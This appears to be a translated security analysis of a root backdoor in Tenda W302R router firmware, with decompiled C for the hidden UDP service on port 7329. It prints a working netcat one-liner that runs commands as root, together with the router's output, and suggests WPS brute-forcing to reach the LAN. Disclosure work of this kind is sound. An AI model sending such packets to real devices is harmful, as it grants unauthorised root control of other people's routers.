騰達(dá)Tenda 路由器后門(mén)分析
一直有人認(rèn)為D-Link是唯一的將在其產(chǎn)品中放置后門(mén)供應(yīng)商,其實(shí)這里還有一個(gè)供應(yīng)商也同樣在產(chǎn)品中放置了后門(mén),并且可以利用單個(gè)UDP數(shù)據(jù)包就搞定。她——就是騰達(dá)。
騰達(dá)W302R無(wú)線路由器的最新固件解壓后,我開(kāi)始尋找基于GoAheadWeb服務(wù)器指向的/bin/httpd,騰達(dá)做了很多特殊的修改:
進(jìn)入HTTP接收回路前,調(diào)用產(chǎn)生MfgThread的功能作為一個(gè)單獨(dú)的線程的線程主函數(shù)InitMfgTask。
Hmmm…InitMfgTask 和 MfgThread? 也許可能是manufacturing tasks(mfg有可能是MANUFACTURING的縮寫(xiě),方便他們?cè)谘邪l(fā)過(guò)程中發(fā)生各種不能訪問(wèn)路由器管理功能時(shí)留下的維修接口,估計(jì)正式產(chǎn)品上市的時(shí)候忘記去掉了)
首先MfgThread(Mfg進(jìn)程)創(chuàng)建UDP socket且綁定在7329端口上
然后線程進(jìn)入一個(gè)recvfrom循環(huán),從插座上閱讀最多128字節(jié)。預(yù)計(jì)每一個(gè)接收到的UDP數(shù)據(jù)包,至少有14個(gè)字節(jié)的長(zhǎng)度:
現(xiàn)在最有意思的部分,接收到的UDP數(shù)據(jù)包,然后解析這個(gè)代碼塊:
轉(zhuǎn)C代碼表示
memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte[0] = rx_buf[11]; memcpy(command_arg, rx_buf+12, rx_size-12); // If magic string doesn't match, stop processing this packet and wait for another packet if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;
我們可以看到,該線程被認(rèn)為一個(gè)以下的數(shù)據(jù)結(jié)構(gòu)包:
struct command_packet_t { char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte char command_byte; char command_arg[117]; };
只要接收到的數(shù)據(jù)包開(kāi)始字符串“w302r_mfg”,代碼然后比較三個(gè)ASCII字符指定的命令字節(jié)對(duì)(’1′,’X',’E'):
為了方便,我已經(jīng)轉(zhuǎn)換剩余反匯編(至少重要位)后的C代碼:
switch(command_byte) { case 'e': strcpy(tx_buf, "w302r_mfg"); tx_size = 9; break; case '1': if(strstr(command_arg, "iwpriv") != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, "000000"); tx_size = strlen(tx_buf); break; case 'x': tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; } sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop;
以下操作對(duì)應(yīng)的三個(gè)接受的命令字節(jié):
'E'-響應(yīng)與預(yù)先定義的字符串,通常是ping測(cè)試
'1' - 蓄意讓用戶(hù)運(yùn)行iwpriv命令
'X'-允許你用root權(quán)限運(yùn)行任何命令
如果被指定為’X'的命令字節(jié)命令字節(jié)后的數(shù)據(jù)包(稱(chēng)為在上述代碼command_arg),其余的被傳遞到call_shell通過(guò)POPEN,執(zhí)行命令:
更重要的是,call_shell填充tx_buf的命令,我們可以看到,從以前的C代碼,發(fā)送回客戶(hù)端的輸出緩沖區(qū)!
了解了MfgThread和其預(yù)期的數(shù)據(jù)包結(jié)構(gòu)的功能,我們可以很容易用NC來(lái)執(zhí)行這個(gè)后門(mén):
$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0 media drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init -> bin/busybox drwxr-xr-x 2 0 0 3 home drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0 etc drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000 100 574 bin
一點(diǎn),曾經(jīng)如此重要的小細(xì)節(jié)只監(jiān)聽(tīng)局域網(wǎng)上,對(duì)廣域網(wǎng)無(wú)法利用監(jiān)聽(tīng)。然而,如果是利用通過(guò)沒(méi)有暴力速率限制默認(rèn)情況下啟用WPS的無(wú)線網(wǎng)絡(luò),我可以用ReaverPro盒爆破WPS還不是花很多時(shí)間,該盒子提供接入WLAN和隨后的根路由器上的shell(他們還附帶一個(gè)默認(rèn)WPA密鑰,你可能想先嘗試):
神奇的字符串表明,這個(gè)后門(mén)可能是首次實(shí)施騰達(dá)W302R路由器,騰達(dá)W330R也存在該后門(mén),以及想MedialinkMWNWAPR150N這樣重新定義品牌的模塊如。他們都使用相同的“w302r_mfg”magic packet string (神奇的字符串包?)